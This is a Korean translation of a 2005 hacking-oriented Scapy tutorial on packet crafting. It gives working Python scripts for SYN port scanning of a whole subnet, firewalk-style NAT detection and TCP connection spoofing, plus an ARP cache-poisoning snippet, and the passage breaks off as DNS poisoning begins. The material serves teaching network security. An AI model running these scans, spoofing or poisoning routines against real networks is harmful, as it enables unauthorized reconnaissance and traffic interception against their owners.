패킷 생성과 조작에 관한 투토리얼

By Rob klein Gunnewiek aka detach
http://hackaholic.org/
번역 : 와우해커 http://wowhacker.org/

2005년 3월 28일
(본 문서는 차후 수정될 수 있으며, 새로운 기술이 시간에 따라 더해질 것이다)

머리말
=x=x=x=x=

이 튜토리얼에서는 패킷 생성(packet construction)과 조작(manipulation)에 관한 기술을 배워 Python 커맨드 라인에서 네트워크를 마스터하고자 한다. Python에 대한 사전 지식은 필요없지만, 당신도 지금의 나만큼 흥분되어있다면, 바로 배우길 원할 것이다. 여하간에, 일반적인 네트워크 공격에 관한 사전 지식은 권장되는 바이다.

이 튜토리얼에서 당신은 네트워크 영역에서의 해킹의 실제적인 시작을 하게 될 것이다. 네트워크 레벨에서의 해킹에 관한 실용적인 정보의 부족은 해커들이 이 주제에 관해 잘 모를 것이라는 추측을 하게 한다. 아마도 당신은 TCP/IP의 기본과 Nmap을 어떻게 사용하는지 정도는 알고 있을 것이다. 어쩌면 당신은 Hping2를 써서 Idle scanning을 하는 등의 장난도 칠 수 있을지도 모른다. 그렇지만 Libnet을 이용해 당신이 코딩한 것은 정확히 무엇인가? Libpcap을 이용해 기본적인 스니퍼(sniffer)를 코딩해본 적 있는가?

어쨌건, 네트워크 공격과 정찰(reconnaissance) 분야에 관한 여러분의 지식에 관계없이, 이 가이드는 매우 흥미로울 것이다.

개요
=x=x=x=x=x=x=

당신이 이 튜토리얼을 읽어야 하는지 어떤지를 결정하기 위해서, 우리가 여기서 다루고자 하는 것이 가진 힘을 시연하기 위한 간단한 예를 들며 시작해보겠다.

나는 포트스캐너(portscanner)를 코딩하고 싶고, 그것으로 C-Class 네트워크 전체를 스캔하여 포트 80번을 열어놓고 구동하고 있는 모든 호스트를 열거하고 싶다. 나는 python을 띄우고 명령어들을 입력하기 시작한다;

```
>>> p=IP(dst="hackaholic.org/24")/TCP(dport=80, flags="S")
>>> sr(p)
```

바로 이거다! 이제 어떤 호스트가 포트 80에서 listen하고 있는지 살펴보자.

```
>>> results = _[0]
>>> for pout, pin in results:
... if pin.flags == 2:
... print pout.dst
...
24.132.156.5
24.132.156.19
24.132.156.24
24.132.156.72
24.132.156.102
24.132.156.107
24.132.156.121
24.132.156.141
24.132.156.150
24.132.156.148
24.132.156.204
24.132.156.211
>>>
```

Scapy 라고 불리는 어둠의 마법 상자로 온 것을 환영한다! 내가 방금 한 것은; 먼저 hackaholic.org이 연결된 /24-subnet으로 보낼 패킷을 생성하고 TCP 헤더의 destination port를 80으로 설정하고 SYN flag를 설정했다.
이제, 당신도 알고 있듯이, SYN flag는 접속(connection)을 개시하기 위해 사용된다. SA(SYN/ACK) 응답은 포트가 듣고 있음(listening)을 의미하고, RA (RESET/ACK)는 포트가 닫혀있음을 뜻하며, 마지막으로 무응답은 호스트가 다운되었거나 패킷을 필터링함을 뜻한다.

패킷을 생성한 다음 나는 Scapy에게 어둠의 마법의 끈을 풀고 패킷을 방출할 것을 요구한다. 결과는 for-loop에서 절개(dissect)되고 SA를 응답한 호스트들의 destination IP 주소가 나열된다.

Scapy는 Philippe Biondi가 쓴 훌륭한 도구로, http://www.cartel-securite.fr/pbiondi/projects/scapy/ 에서 다운로드 받을 수 있다. 이 튜토리얼이 여러분이 필요로 하는 대부분의 문서(documentation)를 제공하겠지만, 저곳에서 더 많은 문서들을

찾을 수 있을 것이다. 이 도구의 저자가 Scapy에 대해 프리젠테이션 한 것을 꼭 공부하길 바란다. Scapy 자체는 훌륭하지만, 그의 문서(documentation)는 그다지 대단하지 않다, 따라서 많은 부분을 직접 알아나가야 할 것이다.

Scapy Setup
=x=x=x=x=x=x=

개요의 예제가 여러분의 주의를 사로잡아 이 섹션에서 내가 설명할 지루한 Python/Scapy 프로그래밍의 세부사항을 견뎌낼 동기를 부여했으면 하는 바람이다.

우선, 나는 Python 전문가가 아님을 먼저 말해둔다. 나는 실용적인 사람으로, 시작부터 실용적이지 않은 것을 배우는 것을 싫어하는 사람이다. 내가 Python을 배운 것은 Scapy를 효과적으로 사용하기 위한 나 자신의 욕구 때문이다. 나는 찾아볼 교과서가 없기 때문에 여기 있는 것들 중 일부는 내가 잘못 이해했을 수도 있고 완전히 틀렸을 수도 있다.

자, 그럼 먼저 Scapy 환경(environment)을 설정하자. 여러분의 GNU/Linux 배포판 (리눅스 사용자가 아닌 사람은 이부분은 알아서 해야 한다)과 함께 배포된 바이너리 Python을 설치하라. Scapy가 일단 동작이라도 되게 하려면 버전 2.2 혹은 그 상위 버전의 Python이 필요하다는 것을 명심하라. 프롬프트에 'python'이라고 치고 제대로 동작하는지 살펴보라.

```
detach@luna:~$ python
Python 2.3.5c1 (#2, Jan 27 2005, 10:49:01)
[GCC 3.3.5 (Debian 1:3.3.5-6)] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> if 1+1 == 2:
... print "Thank goodness!"
...
Thank goodness!
>>>
```

내가 Python에서 가장 좋아하는 부분은 여러분은 동작할 것이라 생각되는 무엇인가를 치면 정말 그것이 동작할 때가 많다는 것이다. 그렇지만 여러분이 알아야 할 Python의 몇몇 기본적인 규칙이 있다:

1) 명령문 블록(statement block)은 { }이나 BEGIN, END 키워드 안에 있지 않고, 4칸과 빈 줄이라는 올바른 들여쓰기(indentation)를 통해 구분된다.
2) 명령문 분리부호(separator)로서의 세미콜론은 필요하지 않다 (그렇지만 만약 여러개의 명령문을 한 줄에 넣고 싶다면 쓸 수도 있다)

3) IF와 WHILE같은 조건 명령문에서 괄호가 필요없다,
   조건 명령문은 : 으로 끝나고 이 뒤에 식(expression)이 들어간다

Python의 가장 중요하고 아마도 가장 쿨한 기능은 원시적 인터랙티브 모드(native interactive mode)를 갖고 있다는 것이다. 그렇다, 그것이 바로 우리가 필요로 하는 모드이다. “python”이라고 치면 “>>>” 프롬프트가 뜬다. 스크립팅(scripting)하기 전에 쉽게 실수를 고치거나 무언가를 찾아 볼 수 있다. Python의 거의 대부분의 것이 더 강력하고 더 재밌는 것처럼 보인다.. 내 생각에는 해커들이 꿈꾸어왔던 툴킷(toolkit)인 것 같다.

이제 Python이 돌아가고 있으니 scapy를 갖고 놀 차례이다. http://www.cartel-securite.fr/pbiondi/projects/scapy/ 에서 scapy를 다운로드 받으라. 이 글을 쓰는 시점에서 이것은 버전 0.9.17beta 이다. Scapy 소스의 압축을 풀고 루트로서 프로그램을 실행한다.

```
detach@luna:~/lab/scapy-0.9.17 $ sudo python ./scapy.py
Welcome to Scapy (0.9.17.1beta)
>>>
```

커맨드 라인 상에서 추가 인자(argument)로서 파일 이름을 하나 더 주면 당신이 친 모든 것을 scapy가 기록(log)하도록 할 수도 있다.

Nutshell에서의 Scapy(Scapy in a Nutshell)

=x=x=x=x=x=x=x=x=

내가 생각하기에 Scapy의 가장 중요한 기능이라고 생각하는 것들의 목록으로 시작하겠다.

- Scapy에는 보내기(send), 받기(receive), 그리고 보내기&받기(send&receive) 모드가 있다.
- Scapy는 레이어 2 (datalink)와 레이어 3 (network)에 패킷을 보낼 수 있다.
- Scapy는 p0f()와 arpcachepoison 같은 몇 개의 고레벨 함수를 갖고 있는데 이들은 일반적인 보안 도구들이 하는 대부분의 일을 할 수 있다.
- 응답(responses)은 쉽게 분해하고(dissect) 재사용(reuse)할 수 있다.
- 쉽다
- Scapy의 부정적인 면은 속도가 상대적으로 느려서 어떤 부분에서의 사용은 불가능할 수도 있다. 따라서 python은 정찰(reconnaissance)에 가장 적합하고, 예를 들자

면 DoS같은 것에 부적합하다

여러분이 기억해야 하는 scapy에서 가장 중요한 명령/함수는 ls()와 lsc() 함수이다. 아주 많이 사용하게 될 것이다.

```
>>> ls()
Dot11Elt : 802.11 Information Element
Dot11 : 802.11
SNAP : SNAP
IPerror : IP in ICMP
BOOTP : BOOTP
PrismHeader : abstract packet
Ether : Ethernet
TCP : TCP
Dot11ProbeResp : 802.11 Probe Response
TCPerror : TCP in ICMP
Dot11AssoResp : 802.11 Association Response
Dot11ReassoReq : 802.11 Reassociation Request
Packet : abstract packet
UDPerror : UDP in ICMP
ISAKMP : ISAKMP
Dot11ProbeReq : 802.11 Probe Request
NTP : NTP
Dot11Beacon : 802.11 Beacon
DNSRR : DNS Resource Record
STP : Spanning Tree Protocol
ARP : ARP
UDP : UDP
Dot11ReassoResp : 802.11 Reassociation Response
Dot1Q : 802.1Q
ICMPerror : ICMP in ICMP
Raw : Raw
IKETransform : IKE Transform
IKE_SA : IKE SA
ISAKMP_payload : ISAKMP payload
LLPPP : PPP Link Layer
IP : IP
LLC : LLC
Dot11Deauth : 802.11 Deauthentication
Dot11AssoReq : 802.11 Association Request
ICMP : ICMP
Dot3 : 802.3
EAPOL : EA POL
Dot11Disas : 802.11 Disassociation
Padding : Padding
DNS : DNS
Dot11Auth : 802.11 Authentication
Dot11ATIM : 802.11 ATIM
```

```
DNSQR : DNS Question Record
EAP : EAP
IKE_proposal : IKE proposal
>>>
```

추후에 이 정보를 어떻게 이용하는지 설명할 것이다.

lsc() 함수는 (Scapy의) 모든 이용가능한 함수들을 나열한다.

```
>>> lsc()
sr : Send and receive packets at layer 3
sr1 : Send packets at layer 3 and return only the first answer
srp : Send and receive packets at layer 2
srp1 : Send and receive packets at layer 2 and return only the
first answer
srloop : Send a packet at layer 3 in loop and print the answer
each time
srploop : Send a packet at layer 2 in loop and print the answer
each time
sniff : Sniff packets
p0f : Passive OS fingerprinting: which OS emitted this TCP SYN
arpcachepoison : Poison target's cache with (your MAC,victim's IP) couple
send : Send packets at layer 3
sendp : Send packets at layer 2
traceroute : Instant TCP traceroute
arping : Send ARP who-has requests to determine which hosts are
up
ls : List available layers, or infos on a given layer
lsc : List user commands
queso : Queso OS fingerprinting
nmap_fp : nmap fingerprinting
report_ports : portscan a target and output a LaTeX table
dyndns_add : Send a DNS add message to a nameserver for "name" to
have a new "rdata"
dyndns_del : Send a DNS delete message to a nameserver for "name"
>>>
```

다른 중요한 일반적인 함수(generic functions)로는 :

- Net()
- IP(), ICMP(), TCP(), Ether(), 등

여기서 이들 IP(), ICMP() 등의 함수들은 매우 흥미롭다. ls() 명령어를 통해 살펴볼 수 잇고 그 자신들의 헤더를 생성하기 위해 저것들을 이용할 수 있다. 예를 들어,

```
>>> ip = IP()
>>> icmp = ICMP()
>>> ip
<IP |>
>>> icmp
<ICMP |>
>>> ip.dst = "192.168.9.1"
>>> icmp.dis play()
- - - [ ICMP ] - - -
type = echo - request
code = 0
chksum = 0x0
id = 0x0
seq = 0x0
>>> sr1(ip/icmp)
Begin emission:
...*Finished to send 1 packets.

Received 4 packets, got 1 answers, remaining 0 packets
<IP version=4L ihl=5L tos=0x0 len=28 id=16713 flags= frag=0L ttl=64
proto=ICMP chksum=0xa635 src=192.168.9.1 dst=192.168.9.17 options='' |<ICMP
type=echo - reply code=0 chksum=0xffff id=0x0 seq=0x0 |<Padding
load=' \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x
00 \ x00 \ x00|) \ x0c \ xa4'
|>>>
>>> _.display()
- - - [ IP ] - - -
version = 4L
ihl = 5L
tos = 0x0
len = 28
id = 16713
flags =
frag = 0L
ttl = 64
proto = ICMP
chksum = 0xa635
src = 192.168.9.1
dst = 192.168.9.17
options = ''
- - - [ ICMP ] - - -
type = echo - reply
code = 0
chksum = 0xffff
id = 0x0
seq = 0x0
- - - [ Padding ] - - -
load =
' \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x
00 \ x00|) \ x0c \ xa4'
```

```
>>>
```

저런 패킷을 생성하는 것은 여러가지 방법으로 할 수 있다. 가장 짧은 것은 다음과 같은 방법이다:

```
>>> p = IP(dst="192.168.9.1")/ICMP()
>>> sr1(p)
Begin emission:
...*Finished to send 1 packets.

Received 4 packets, got 1 answers, remaining 0 packets
<IP version=4L ihl=5L tos=0x0 len=28 id=16714 flags= frag=0L ttl=64
proto=ICMP chksum=0xa634 src=192.168.9.1 dst=192.168.9.17 options='' |<ICMP
type=echo-reply code=0 chksum=0xffff id=0x0 seq=0x0 |<Padding
load='\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x
00\x00\x00\x16\x89\xdb\x88'
|>>>
>>>
```

어떤 필드를 각 프로토콜 패킷이 가질 수 있는가를 알아내기 위해서는 ls()를 인자(argument)와 함께 사용하라

```
>>> ls(TCP)
sport : ShortField = (20)
dport : ShortField = (80)
seq : IntField = (0)
ack : IntField = (0)
dataofs : BitField = (None)
reserved : BitField = (0)
flags : FlagsFie ld = (2)
window : ShortField = (0)
chksum : XShortField = (None)
urgptr : ShortField = (0)
options : TCPOptionsField = ({})
>>>
```

따라서 여러분은 이들 필드 중의 어떤 것이라고 설정할 수 있고, 그 필드의 디폴트 값이 무엇인지 알 수도 있다. 예를 들어, 디폴트 source port는 20으로 설정되어 있고, destination port는 80으로 설정되어 있다.

패킷을 출력하면 조작된 필드들만 보게 된다. 다음과 같다:

```
>>> i = IP()
>>> i
<IP |>
```

```
>>> i.dst = "192.168.9.1"
>>> i
<IP dst=192.168.9.1 |>
>>> i.src = "192.168.9.2"
>>> del(i.dst)
>>> i
<IP src=192.168.9.2 |>
>>>
```

물론, 모든 필드를 표시하려면 i.display() 메소드를 사용하라. 나는 scapy의 이 부분이 상당히 맘에 드는데, 자신이 무엇을 수정했는지 이런 방식으로 쉽게 볼 수 있고, 자신이 관심 없는 필드에 방해 받지 않는다. 예를 들어, 나는 어떤 TCP 옵션이 활성화(enable)되어있는지는 전혀 보고 싶지 않은데, 나는 대부분의 공격에서 TCP 옵션을 사용하지 않기 때문이다. 만약 여러분이 그것을 사용한다면, 그들에게 보여줘라.

ls()를 이용하여 존재하는 패킷을 표시할 수도 있다.

```
>>> ls(i)
version : BitField = 4 (4)
ihl : BitField = None (None)
tos : XByteField = 0 (0)
len : ShortField = None (None)
id : ShortField = 1 (1)
flags : FlagsField = 0 (0)
frag : BitField = 0 (0)
ttl : ByteField = 64 (64)
proto : ByteEnumField = 0 (0)
chksum : XShortField = None (None)
src : SourceIPField = '192.168.9.2' (None)
dst : IPField = '127.0.0.1' ('127.0.0.1')
options : IPoptionsField = '' ('')
>>>
```

여러분은 두 개의 디폴트 값과 오버로드된(overloaded) 값을 보게 된다. 패킷을 만들 때 패이로드(payload)를 추가할 수도 있다, 다음과 같다:

```
>>> p = IP(dst="192.168.9.1")/TCP(dport=22)/"AAAAAAAAAA"
>>> p
<IP proto=TCP dst=192.168.9.1 |<TCP dport=22 |<Raw load='AAAAAAAAAA' |>>>
>>>
```

layer 2 에 패킷을 보내기 위해서는 sendp, srp, srploop과 srp1 함수를 이용할 필요가 있다. 'p'는 PF_PACKET의 앞글자로 보이는데, 이는 layer 2 패킷을 보내는 것을 허용하는 Linux

인터페이스이다.

패킷은 헤더들로 이루어져 있고 패킷들의 데이터타입은 리스트(list)이다. 여러분은 Python 'type' 함수를 이용해 이를 체크할 수 있다.

Raw 패킷을 문자열로 보는 것은 분해과정(dissection)을 이해하는데 도움이 될 수 있다.

```
>>> packet = IP(dst="192.168.0.1")/TCP(dport=25)
>>> raw_packet = str(packet)
>>> type(raw_packet)
<type 'str'>
>>> IP(raw_packet)
<IP version=4L ihl=5L tos=0x0 len=40 id=1 flags= frag=0L ttl=64 proto=TCP
chksum=0xf36c src=192.168.6.17 dst=192.168.0.1 options='' |<TCP sport=20
dport=25 seq=0L ack=0L dataofs=5L reserved=16L flags=S window=0
chksum=0x2853 urgptr=0 |>>
>>> TCP(raw_packet)
<TCP sport=17664 dport=40 seq=65536L ack=1074197356L dataofs=12L
reserved=0L flags=PUC window=1553 chksum=0xc0a8 urgptr=1 options=[] |>
>>> dissected_tcp = TCP(raw_packet)
>>> dissected_tcp
<TCP sport=17664 dport=40 seq=65536L ack=1074197356L dataofs=12L
reserved=0L flags=PUC window=1553 chksum=0xc0a8 urgptr=1 options=[] |>
>>> raw_packet
'E \ x00 \ x00( \ x00 \ x01 \ x00 \ x00@ \ x06 \ xf3l \ xc0 \ xa8 \ x06 \ x11 \ xc0 \ xa8 \ x
00 \ x01 \ x00 \ x14 \ x00 \ x19 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00P \ x02 \ x0
0 \ x00(S \ x00 \ x00'
>>>
```

당신만의 Scapy 툴셋 만들기 (Building your own Scapy toolset)

=x=x=x=x=x=x=x=x=x=x=x=x=x=x=x=x=x=x=x=x=x=x=x=x=x=x

정찰(reconnaissance)부터 시작하자.

여기 포트스캐닝 기술이 있는데, 지금은 오직 script로서의 기능으로 구현되어있고, 인터랙티브(interactive)하지 않다:

```
detach@luna:~/lab/scapy-0.9.17$ cat pscan.py
#!/usr/bin/env python

import sys
from scapy import *
conf.verb=0
```

```
if len(sys.argv) != 2:
print "Usage: ./pscan.py <target>"
sys.exit(1)

target=sys.argv[1]

p=IP(dst=target)/TCP(dport=80, flags="S")
ans,unans=sr(p, timeout=9)

for a in ans:
if a[1].flags == 2:
print a[1].sr c < BR>
```

Okay, let's try it:

```
detach@luna:~/lab/scapy-0.9.17$ sudo ./pscan.py 192.168.9.0/24
192.168.9.1
192.168.9.2
192.168.9.11
192.168.9.14
```

얼마나 강력한지 보았는가? 다음으로는 Dealing with Firewalls (http://hackaholic.org/papers/firewalls.txt) 에서 내가 논의한 traceroute/firewalk 같은 프로그램을 만들 것이다. 우리가 할 일을, TTL(Time To Live)과 특정 포트(specific port)를 가지고 노는 것이다. 이런 방법을 써서 NAT가 포트를 포워딩(forwarding) 하는데 쓰였는지를 볼 수 있다.

이것을 위해 우리가 해야 할 일은:

- 우리 목표에 도달하기 위한 최소 TTL을 탐지한다(detect)
- 우리 목표 호스트 상에서 테스트할 포트를 구한다
- 이 포트가 목표 호스트 상에서 듣고 있는지(listening) 아니면 NAT되고 있는지 확인한다

우리는 ICMP 에러 이외의 응답을 받을 때까지 루프를 돌며 패킷을 보내고 싶기 때문에 sr1()을 사용할 필요가 있다. 현재 TTL을 계속 기억하고 있을 필요도 있다. 그러면 특정포트에 TCP SYN을 보낼 때 호스트에 도달하기 위한 이 최소 TTL이 설정된다(set). SYN/ACK(혹은 RST/ACK)을 받으면 이 포트는 NAT되어있지 않다고 추측할 수 있고, 이외의 경우는 NAT되어있다고 볼 수 있다.

그렇다면 우선 우리 목표에 이르기 위한 TTL을 알아내기 위한 프로그램을 만들자;

```
$ sudo python ./scapy.py
```

```
Welcome to Scapy (0.9.17.1beta)
>>> ttl = 0
>>> def mkpacket():
... global ttl
... ttl = ttl + 1
... p = IP(dst="hackaholic.org", ttl=ttl)/ICMP()
... return p
...
>>> res = sr1(mkpacket())
Begin emission:
...*Finished to send 1 packets.

Received 4 packets, got 1 answers, remaining 0 packets
>>> while res.type == 11:
... res = sr1(mkpacket())
...
Begin emission:
.Finished to send 1 packets.
*
Received 2 packets, got 1 answers, remaining 0 packets
Begin emission:
.Finished to send 1 packets.
*
Received 2 packets, got 1 answers, remaining 0 packets
Begin emission:
.Finished to send 1 packets.
*
****** Etcetera,
>>> ttl
15
>>>
```

이는 15 홉(hop)에 우리 호스트에 도달했음을 의미하거나, 호스트에 이르기 위한 최소 TTL이 15 임을 의미한다. ICMP() 콜이 icmp-echo-request로 디폴트 설정되기 때문에 아무런 매개변수(parameter)도 필요하지 않음을 주목하라. 만약 ICMP가 차단되어있으면(요즘은 이런 일이 많다) ICMP 대신에 UDP나 TCP같은 다른 방법으로 시도해볼 수 있다. 하지만 우리는 NAT 세팅(setting)을 맵(map)하고 싶은 것이고, 만약 TCP를 이용한다면 닫힌 포트(closed)를 이용하라. 그렇게 하지 않으면, 이 포트가 NAT되지 않았음을 어떻게 알 것인가?(주: 닫혀진 포트도 NAT될 수 있다.)

좋다, 우린 이제 거리가 15임을 알기 때문에 단순히 똑같은 기술을 써서 어떤 포트가 NAT되었는지 볼 수 있고 우리가 필요로 하는 TTL들에 차이점이 있는지 보도록 하라.

위의 프로그램을 수정하여 ICMP()대신에 TCP()를 사용하도록 하고 dport=80을 쓰도록 하라. 실행을 시키면, 아마도 충돌할 것인데 이는 마지막 응답(answer)이 ICMP가 아니고,

‘type’ 필드가 없는 TCP 응답(response)이기 때문이다. 그러나 이것은 별로 문제가 되지 않는다. ‘ttl’값이 무엇인지만 살펴보고 그것이 여전히 15이면(내 시스템에서는 그렇다), 포트는 NAT되지 않았을 가능성이 크다.

이제, 이런 작업을 자동화시키기 위한 script가 있다. 이 script는 ‘host’와 ‘dport’를 인자(argument)로 받는다:

```
#!/usr/bin/env python

import sys
from scapy import *
conf.verb=0

if len(sys.argv) != 3:
print "Usage: ./firewalk.py <target> <dport>"
sys.exit(1)

dest=sys.argv[1]
port=sys.argv[2]

ttl = 0

def mkicmppacket():
global ttl
ttl = ttl + 1
p = IP(dst=dest, ttl=ttl)/ICMP()
return p

def mktcppacket():
global ttl, dest, port
ttl = ttl + 1
p = IP(dst=dest, ttl=ttl)/TCP(dport=int(port), flags="S")
return p

res = sr1(mkicmppacket())
while res.type == 11:
res = sr1(mkicmppacket())
print "+"

nat_ttl = ttl
# Since we now know our minimum TTL, we don't need to reset TTL to zero
# We do need to decrease TTL or otherwise mkpacket will increase it again
# which would result in every port being detected as forwarded
# (우리는 우리의 최소 TTL을 알고 있기 때문에, TTL을 0으로 리셋할 필요가 없다
# 우리는 TTL을 감소시킬 필요가 있는데 그렇게 하지 ㅇ낳으면 mkpacket이 TTL을 다시
# 증가시킬 것이고 이는 탐지된 모든 포트를 포와드된 것으로 하는 결과를 낳는다)
```

```
ttl = ttl - 1

res = sr1(mktcppacket())
while re s.proto == 1 and res.type == 11:
res = sr1(mktcppacket())

if res.proto != 6:
print "Error"
sys.exit(1)

if nat_ttl == ttl: print "Not NATed (" + str(nat_ttl) + ", " + str(ttl) + ")"
else: print "This port is NATed. firewall TTL is " + str(nat_ttl) + ", TCP port TTL is " +
str(ttl)

sys.exit(0)
```

Let's see how it goes:

```
$ sudo ./firewalk.py XX.XXX.XXX.XX 5900
+
+
****** Etcetera
This port is NATed. Firewall TTL is 10, TCP port TTL is 11
$

$ sudo ./firewalk.py google.com 80
+
+
****** Etcetera
Not NATed (16, 16)
$
```

이것은 Hping3 (HTCL) 구현보다 훨씬 빠르다 :-D

글쎄, 이 script는 호스트가 NAT되었는지를 탐지하지만, 보통 NAT되어있을 가능성이 높다. 만약 포워드된 포트를 탐지해내지 못하면, 이것은 아무런 증거가 되지 못한다. 포워드된 포트(forwarded port)로 오가는 모든 들어오는(incoming) 패킷의 TTL을 하나씩 증가시키면 쉽게 이 기술을 속일 수 있다. 이런 경우가 자주 있다고 생각하지는 않지만 말이다.

다음 할 일은 매우 재미있을 것이다. 우리가 하려는 것은 존재하지 않는 IP 주소로부터 LAN상의 로컬 시스템에 TCP 접속(connection)을 만드는 것이다. 이것은 블라인드 스푸핑(blind spoofing)이 아닐 뿐 접속을 스푸핑 할 것임을 뜻한다. 이는 교육적인 목적을 위해서이다. 이 TCP 이론은 내가 오래전에 배운 것이고 이것은 내가 여태까지 본 TCP handshake 중에 가장 실제적인 예제이기 때문에 나는 몹시 흥분된다 ☺ TCP/IP 네트워킹을 가르치는 선생이라면 슬라이딩 윈도우 메커니즘 따위 같은 추상적인 이론 같은 것 대신

에 이런 예제를 가지고 수업을 해야 한다고 생각한다 ☺

이 스크립을 살펴보도록 하자:

```
#!/usr/bin/env python

import sys
from scapy import *
conf.verb=0

if len(sys.argv) != 4:
print "Usage: ./spoof.py <target> <spoofed_ip> <port>"
sys.exit(1)

target = sys.argv[1] < BR>spoofed_ip = sys.argv[2]
port = int(sys.argv[3])

p1=IP(dst=target,src=spoofed_ip)/TCP(dport=port,sport=5000,flags='S')
send(p1)
print "Okay, SYN sent. Enter the sniffed sequence number now: "

seq=sys.stdin.readline()
print "Okay, using sequence number " + seq

seq=int(seq[:-1])
p2=IP(dst=target,src=spoofed_ip)/TCP(dport=port,sport=5000,flags='A',ack=seq+1,seq=1
)
send(p2)

print "Okay, final ACK sent. Check netstat on your target :-)"
```

당신이 당신 IP 주소를 스푸프 할 때, 당신의 로컬 LAN바깥에 있는 주소를 쓰도록 해야한다. 그렇게 하지 않으면 당신의 목표는 ARP를 써서 존재하지 않는 송신자(sender)의 MAC 주소를 찾아보기 시작할 것이기 때문이다. 우리의 경우 우리 목표는 스푸프된 패킷이 라우터로부터 왔다고 가정할 것이고 응답도 라우터의 MAC로 보낼 것이다. 하지만 만약 당신 로컬 서브넷(local subnet)의 IP를 쓸 필요가 있다면 “SYN sent”바로 다음에 아래 코드를 넣음으로써 이를 해결 할 수 있다.

```
p = ARP()
p.op = 2
p.hwsrc = "00:11:22:aa:bb:cc"
p.psrc = spoofed_ip
p.hwdst = "ff:ff:ff:ff:ff:ff"
p.pdst = target
send(p)
```

이것은 ARP 포이즈닝(poisoning)이다. (이것은 당신이 *존재하는* IP로부터의 접속을 스푸프하길 원한다면 쉬울 수 있는데, 당신 목표에게 MAC 주소가 바뀌었다고 말해줘서 계속해서 포이즈닝 시킬 수 있기 때문이다; 답신(replies)이 존재하지 않는 MAC 주소로 갈 것이기 때문에 당신이 흉내를 내고 있는 진짜 호스트는 응답을 할 수 없다. 이런 방법을 통해 당신은 온라인 시스템을 전체적으로 흉내낼 수 있다.

테스트를 해보자:

```
$ sudo python ./spoof.py 192.168.9.14 123.123.123.123 22
Okay, SYN sent. Enter the sniffed sequence number now:
231823219
Okay, using sequence number 231823219

Okay, final ACK sent. Check netstat on your target :-)
$
```

나는 내 목표에 대해 netstat를 ACK을 보내기 전과 후의 두 번을 했다.

```
tcp 0 0 devil.hengelo.gaast:ssh 123.123.123.123:5000 SYN_RECV
tcp 0 0 devil.hengelo.gaast:ssh 123:123.123.123:5000 ESTABLISHED
```

이게 대체 어떻게 동작하는 것인가? 이것은 물론 TCP handshake이 동작하는 것처럼 동작한다. 다음과 같은 규칙을 따른다:

- 공격자는 초기 sequence number와 acknowledgement number를 둘 다 0으로 한 SYN packet을 목표에게 보낸다.
- 목표의 listening 포트는 SYN을 받고, sequence number를 생성하고 우리의 sequence number를 acknowledgement number (seq+1), 즉 0+1=1 로 acknowledge하여 스푸프된 IP 주소로 패킷을 보낸다.
- 우리는 전송된 패킷을 스니프(sniff)하여 sequence number를 적는다. 나는 목표 시스템 자체에서 스니프하였고, 그렇지 않으면 네트워크 상에서 스니프하도록 script를 적용시켜서 자기가 알아서 하도록 할 수 있다. Sequence number는 1 증가되어 우리의 acknowledgement number가 된다. 이 수(number)는 우리의 최종 ACK 패킷을 통해 TCP 상태를 ESTABLISHED로 바꾸는데 필수적이다. (이외의 경우는 접속이 반만 열려있다(half open)고 한다)

이것은 보통 보안 문제가 될 수 있는데, 당신이 볼 수 있듯이 모든 신뢰는 목표 쪽의 sequence number 생성에 달려있기 때문이다. 만약 목표가 생성하는 sequence number를

예측할 수 있다면, 우리는 어떠한 주소-기반(address-based) 신뢰 관계(trust relationship)라도 익스플로잇하여 때때로 존재하는 접속을 탈취하거나 죽여버릴 수조차 있다.
과거에는 TCP sequence number 예측이 매우 뻔했지만, 최근에는 모든 최신 운영체제들이 어지간한 ISN (초기 sequence number) 난수발생기(randomization)를 갖고 있다. 물론, 로컬 네트워크 상에서 일어나는 이와 같은 모든 신뢰 관계(trust relationship)는 여전히 당신이 필요할 때 스니프할 수 있다. 하지만 전체적으로 공격은 죽었다. 블라인드 접속 하이재킹(blind connection hijacking)은 특히 거의 불가능한 것이다. 예를 들어 당신이 존재하는 접속을 RESET하기를 원한다고 하는 경우에는 다음과 같은 것을 더 알아야 한다:

- 당신의 목표/희생물의 SN
- 4-tupe destination/source address/port

그렇지만, 싼 라우터나 다른 임베디드 시스템 종류 같은 몇몇 현재 장비들은 허술한 TCP/IP 스택을 갖는 경향이 있다. 케이블 모뎀, DSL 모뎀, WLAN 액세스 포인트 같은 장비들은 오래된 네트워크 공격에 취약할 수 있다. 나는 US Robotics 액세스 포인트를 갖고 있는데 그 녀석은 자신의 NAT 테이블을 전세계로 전송한다. 예를 들어, http://ap/natlist.txt:

```
0) UDP 0.0.0.0:0 <-> 192.168.123.254:1212, out_port:60005, last_use:32
1) UDP 0.0.0.0:0 <-> 192.168.123.254:1211, out_port:60004, last_use:32
2) UDP 0.0.0.0:0 <-> 192.168.123.254:1210, out_port:60003, last_use:32
3) UDP 0.0.0.0:0 <-> 192.168.123.254:1209, out_port:60002, last_use:45
4) UDP 0.0.0.0:0 <-> 192.168.123.254:1207, out_port:60001, last_use:17
```

꽤 무섭지 않은가? Sequence number를 알아내는 것이 별다른 일이 아니라고 한다면, 패킷을 존재하는 UDP "접속"으로 주입하는 것은 매우 쉬운 일이겠고 TCP 접속에 대한 공격을 수행하는 것은 더 쉬울 것이다. 접속을 reset(혹은 kill)하기 위해서 당신이 필요로 하는 것은 양쪽 중 어느 하나의 sequence number이다.

그렇지만 일반적으로, 블라인드 스푸핑은 죽었다. ARP 포이즈닝이나 스위치 테이블 포이즈닝을 통한 트래픽 방향바꾸기(traffic redirection) 같은 다른 기술들이 더 성공적이다. 많이 이루어지고 있는 것으로는 DNS 스푸핑으로 매우 효과적이다. 아마도 어쩌면 라우팅 프로토콜도 공격하지만, 그것이 일어나는 것을 자주 보지는 않는다. 하지만 이런 모든 것들은 Scapy를 사용하면 훨씬 더 가능할 것이다.

네트워킹 공격에 관한 마지막 예제를 다룰 것이다. 이번에는 DNS 포이즈닝을 할 것이다.

먼저, DNS 쿼리(query)를 보내는 것으로 시작한다. 나는 이를 시도했는데 이것이 어떻게

